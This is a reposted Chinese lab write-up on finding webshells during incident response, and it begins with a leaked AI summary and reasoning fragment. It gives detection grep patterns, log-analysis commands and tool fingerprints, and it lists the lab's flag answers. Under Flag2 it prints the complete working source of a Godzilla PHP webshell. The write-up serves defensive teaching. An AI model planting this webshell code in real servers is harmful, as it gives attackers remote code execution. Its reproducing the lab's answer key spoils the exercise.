玄机靶场_第一章 应急响应——webshell查杀
嗯,用户让我帮忙总结一篇文章的内容,控制在一百个字以内,而且不需要特定的开头。我得先仔细看看这篇文章讲的是什么。 文章主要讲的是Webshell的基础查杀方法,包括静态检测、日志分析和工具辅助。静态检测部分提到了用grep和find命令来搜索危险函数,比如eval、system这些。然后是日志分析,通过查看访问日志来发现异常请求,比如POST请求或者大响应。还有工具辅助部分,提到了一些在线和本地的查杀工具。 接下来是应急响应流程,详细描述了如何定位Webshell文件,包括使用关键字搜索、查看隐藏文件、分析代码特征等步骤。最后还给出了几个Flag的例子,说明如何提取关键信息。 所以总结起来,文章主要讲了如何检测和应对Webshell攻击,包括静态检测、日志分析和应急响应流程。我需要把这些内容浓缩到100字以内,确保涵盖主要方法和步骤。 </think> 文章介绍了Webshell的基础查杀方法和应急响应流程,包括静态检测(特征关键字搜索)、日志分析(异常访问定位)及工具辅助(如D盾、微步在线沙箱)。应急响应流程涉及定位WebShell文件、提取Flag信息及隐藏Shell路径MD5等操作。 2025-12-16 08:31:41 Author: www.freebuf.com(查看原文) 阅读量:3 收藏

一、Webshell基础查杀方法

1. 静态检测(特征关键字搜索)

Webshell最常见的特征是使用危险函数执行任意代码(如eval()assert()system()exec()等),或通过编码函数(如base64_decode()gzdecode()rot13()等)实现免杀绕过检测。同时,不同语言的Webshell有特定执行函数。

推荐高效命令(使用find+grep -P并行处理,速度更快):

# 以 /var/www/html 为例,替换为实际网站根目录
ROOT="/var/www/html"

# 1. PHP常见危险执行函数
find "$ROOT" -type f $$ -name "*.php" -o -name "*.phtml" $$ -print0 | xargs -0 grep -El "eval$$ |assert\(|system\(|exec\(|shell_exec\(|passthru\(|popen\(|proc_open\(|pcntl_exec\(|`"

# 2. ASP/ASPX常见危险执行函数
find "$ROOT" -type f \( -name "*.asp" -o -name "*.aspx" $$ -print0 | xargs -0 grep -El "execute$$ |eval\(|CreateObject\(|Server\.Execute"

# 3. JSP常见危险执行函数
find "$ROOT" -type f -name "*.jsp" -print0 | xargs -0 grep -El "Runtime\.exec\(|ProcessBuilder"

# 4. 免杀常见编码/混淆函数(多用于PHP免杀马)
find "$ROOT" -type f -name "*.php" -print0 | xargs -0 grep -El "base64_decode\(|gzdecode\(|gzinflate\(|gzuncompress\(|str_rot13\(|rot13\(|urldecode\(|chr\("

# 5. 常见“一句话木马”模式(POST/GET/REQUEST接收参数后执行)
find "$ROOT" -type f -name "*.php" -print0 | xargs -0 grep -El "\$_POST\[|\$_GET\[|\$_REQUEST\[.*(eval|assert|system|exec|shell_exec|passthru)"

# 6. 其他高危函数(文件写入、上传等常用于持久化)
find "$ROOT" -type f -name "*.php" -print0 | xargs -0 grep -El "file_put_contents\(|fwrite\(|fputs\(|move_uploaded_file\("

说明

  • 以上命令会列出包含关键字的文件路径(-l 或 -El),便于后续cat或vim查看。

  • 免杀马往往多层嵌套编码(如eval(gzinflate(base64_decode(...)))),单关键字可能漏报,建议结合多条命令交叉验证。

  • 对于隐藏文件,别忘了加-a查看:ls -la 或 find "$ROOT" -name ".*".

2. 日志分析

当免杀马静态特征不明显、关键字搜索漏报时,可通过 Web 访问日志定位异常访问的文件(如频繁 POST 请求、执行 phpinfo()、异常响应大小、异常 User-Agent 等)。
Apache日志路径:/var/log/apache2/access.log

快速确认当前服务器类型及日志路径:

# 查看运行中的 Web 服务器进程
ps aux | grep -E 'apache|httpd|nginx|iis|tomcat'

# Apache:搜索配置文件中的日志路径
grep -i -E "CustomLog|TransferLog|AccessLog" /etc/apache2/apache2.conf /etc/apache2/sites-enabled/*.conf /etc/httpd/conf/httpd.conf

# Nginx:搜索配置文件
grep -i -E "access_log|error_log" /etc/nginx/nginx.conf /etc/nginx/conf.d/*.conf /etc/nginx/sites-enabled/*

# Tomcat:检查 $CATALINA_BASE/conf/server.xml 中的 AccessLogValve 配置
常见日志过滤命令(定位免杀马):Bash# 查看 POST 请求(webshell 上传/执行常见)
grep "POST" /var/log/apache2/access.log | tail -n 50

# 搜索敏感操作(如 phpinfo、system、eval 等)
grep -i "phpinfo\|eval\|system\|exec\|base64\|cmd\|shell" /var/log/nginx/access.log

# 异常大响应(可能执行命令返回结果或下载工具)
awk '$10 > 500000' /var/log/apache2/access.log | tail -n 20

# 异常 User-Agent(常见工具特征,如 Godzilla、Behinder、AntSword)
grep -i "java\|behinder\|godzilla\|antsword\|mozilla/5.0 (windows nt.* compatible; msie" /var/log/nginx/access.log

# 处理轮转日志(旧日志压缩为 .gz)
zcat /var/log/nginx/access.log.*.gz | grep "POST"

注意事项:
日志路径可能被自定义或发送到 syslog/remote logging。
结合 PHP 错误日志查看动态执行错误:tail -f /var/log/php-fpm/www-error.log 或 /var/log/apache2/error.log。
在实际应急响应中,先用 ps 确认服务器类型,再针对性查看日志,往往能快速发现免杀马的访问痕迹(如本关的 /wap/top.php 通过 POST phpinfo 被访问)。

3. 常见WebShell管理工具特征对比

以下是主流PHP webshell工具的典型代码/流量特征对比(基于默认或常见配置):






工具加密方式代码关键特征流量/连接特征其他备注
哥斯拉 (Godzilla)XOR (滚动密钥,16字节)encode() XOR函数、$_SESSION['payload']、getBasicsInfo;默认key 3c6e0b8a9c15224a首次大包上传payload;响应体常有md5前后缀+base64;Cookie可能以;结尾(弱特征)支持内存马、多插件;流量加密强
冰蝎 (Behinder)AES (动态/预共享密钥)AES加密函数;变量如k(密钥md5前16);eval/assert执行;开源SSL判断Content-Type: application/octet-stream;固定User-Agent/Java头;Content-Length ~5740(命令执行时)动态二进制加密;3.0版无明文交互
蚁剑 (AntSword)Base64 + eval (可编码器混淆)@ini_set("display_errors","0"); @set_time_limit(0);开头;随机参数POST base64解码 eval请求体含base64长串;响应格式:随机数 + 编码结果 + 随机数;User-Agent常伪装百度蜘蛛继承菜刀核心;支持编码器绕WAF
菜刀 (Caidao/Chopper)明文或简单base64一句话木马:eval($_POST['pass'])或assert;参数z0/z1/z2明文payload(旧版);响应明文或X@Y格式最早工具;特征明显,易检测
  • 通用webshell特征:大多用eval()/assert()执行任意代码;隐藏错误(如error_reporting(0));一句话后门(如)。

  • 区别点:哥斯拉/冰蝎强调加密流量(绕WAF);蚁剑/菜刀更依赖编码混淆;哥斯拉独特在session内存payload + 特定命令如getBasicsInfo。

4. 工具辅助

1.D盾:本地扫描,适合断网环境,支持特征库查杀。
D盾截图
2.微步在线沙箱河马webshell查杀:在线工具,上传源码包扫描。
微步在线截图

二、应急响应流程

题目概述

这是一道典型的WebShell应急响应实战题目,环境为Linux服务器(Apache + PHP),黑客已成功上传多个WebShell。我们需要定位、分析后门文件,并提交以下Flag:

  1. 黑客WebShell里面的flag:flag{xxxxx-xxxx-xxxx-xxxx-xxxx}

  2. 黑客使用的WebShell管理工具GitHub地址的MD5:flag{md5}(32位大写)

  3. 黑客隐藏Shell的完整路径MD5:flag{md5}(路径格式:/xxx/xxx/xxx/xxx/xxx.xxx)

  4. 黑客免杀马完整路径MD5:flag{md5}

答案汇总(根据实际排查)

  • Flag1: flag{027ccd04-5065-48b6-a32d-77c704a5e26d}

  • Flag2: flag{39392DE3218C333F794BEFEF07AC9257}(对应 https://github.com/BeichenDream/Godzilla的MD5)

  • Flag3: flag{AEBAC0E58CD6C5FAD1695EE4D1AC1919}(对应 /var/www/html/include/Db/.Mysqli.php 的MD5)

  • Flag4: 通过日志定位到的免杀WebShell路径MD5(具体路径根据日志中上传记录确认)

Flag1:Webshell内部的flag

步骤一:使用关键字搜索:

find ./ type f -name "*.php" | xargs grep "eval(" 
cat ./include/gz.php

在目录/var/www/html/下有很多php文件。
find命令搜索,发现/include/gz.php包含eval(),哥斯拉加密函数,所以这个就是webshell。

代码特征明显为哥斯拉(Godzilla)内存马:
- 经典三行隐藏错误/超时
- 滚动XOR加密函数encode()
- 默认密钥3c6e0b8a9c15224a
- 使用Session存储payload,支持持久化连接
- 核心执行点eval($payload)

文件中直接注释了UUID,即为flag。

**Flag1:** flag{027ccd04-5065-48b6-a32d-77c704a5e26d}

flag1
flag1.1

Flag2:黑客使用的工具GitHub地址MD5

步骤一:分析webshell代码特征

根据代码特征(XOR滚动加密、Session payload、getBasicsInfo命令、默认key),确认黑客使用的是**哥斯拉(Godzilla)**客户端。

<?php
@session_start();                  // 启动session,持久化payload(哥斯拉内存马)
@set_time_limit(0);                // 无超时
@error_reporting(0);               // 隐藏错误

function encode($D,$K){            // 哥斯拉经典滚动XOR加密/解密
    for($i=0;$i<strlen($D);$i++) {
        $c = $K[$i+1&15];          // 密钥循环(&15 ≡ mod 16)
        $D[$i] = $D[$i]^$c;
    }
    return $D;
}

//027ccd04-5065-48b6-a32d-77c704a5e26d  // 哥斯拉连接UUID或flag

$payloadName='payload';            // session键名
$key='3c6e0b8a9c15224a';           // 哥斯拉默认XOR密钥(最强指纹)

$data=file_get_contents("php://input");  // RAW请求体输入(哥斯拉XOR_RAW类型)

if ($data!==false){
    $data=encode($data,$key);      // 解密请求数据

    if (isset($_SESSION[$payloadName])){
        $payload=encode($_SESSION[$payloadName],$key);  // 取出并解密payload
        if (strpos($payload,"getBasicsInfo")===false){
            $payload=encode($payload,$key);  // 部分变种二次加密
        }
        eval($payload);            // 执行payload(核心危险点)
        echo encode(@run($data),$key);  // 执行命令并加密返回
    }else{
        if (strpos($data,"getBasicsInfo")!==false){  // 首次连接初始化命令(哥斯拉专属指纹)
            $_SESSION[$payloadName]=encode($data,$key);  // 存储payload到session
        }
    }
}

步骤二:将哥斯拉 github 地址的进行md5加密后获得flag

哥斯拉官方GitHub仓库地址:https://github.com/BeichenDream/Godzilla
对该URL字符串进行MD5计算
flag2

Flag3:隐藏shell完整路径MD5

步骤一:查看命令查看所有文件和目录

哥斯拉马特征明显,易被检测,黑客往往还会隐藏备用后门(如隐藏文件)。
使用ls -la查看隐藏文件:

ls -la
# 列出当前目录下的所有文件和目录
# -l:以详细列表形式显示(包含权限、属主、大小、时间等)
# -a:显示所有文件,包括以“.”开头的隐藏文件
# 目的:发现是否存在可疑的隐藏目录或异常文件权限

cd Db
# 进入名为 Db 的子目录
# 在 WebShell 排查中,攻击者常使用看似“数据库相关”的目录名进行伪装
# 该步骤用于进一步深入排查可疑目录结构

ls -la
# 再次查看 Db 目录下的所有文件(包括隐藏文件)
# 重点关注:
# 1. 以“.”开头的隐藏文件
# 2. 文件名与业务无关但扩展名为 .php 的脚本
# 3. 异常的文件权限(如 777)

cat .Mysql.php
# 直接查看隐藏 PHP 文件 .Mysql.php 的源码内容
# 目的:
# 1. 判断是否包含 eval/assert/base64_decode 等危险函数
# 2. 分析是否为隐藏 WebShell 或免杀后门
# 3. 确认该文件是否为攻击者植入的持久化控制点

发现隐藏文件.Mysqli.php(注意点开头)。
隐藏webshell完整路径:/var/www/html/include/Db/.Mysqli.php
flag3

步骤二:将完整路径进行MD5加密获得flag

flag3.1

Flag4:免杀马完整路径MD5

步骤一:查看日志寻找免杀马路径

前两个后门静态特征明显,但免杀马往往通过多层编码、动态函数拼接绕过关键字检测。
静态搜索可能漏报,转向日志分析。
查看Apache访问日志:

vim /var/log/apache2/access.log

发现可疑访问:
多次POST请求访问/wap/top.php
执行phpinfo()等敏感操作,返回200
flag4
flag4.1

步骤二:定位文件路径

cat /var/www/html/wap/top.php

定位文件:/var/www/html/wap/top.php
文件内容为高度混淆的免杀马(Base64 + XOR + 动态函数构造),静态grep难以命中,但日志访问痕迹明显。
flag4.2

步骤三:将完整路径进行MD5加密获得flag

flag4.3


文章来源: https://www.freebuf.com/articles/es/462228.html
如有侵权请联系:admin#unsafe.sh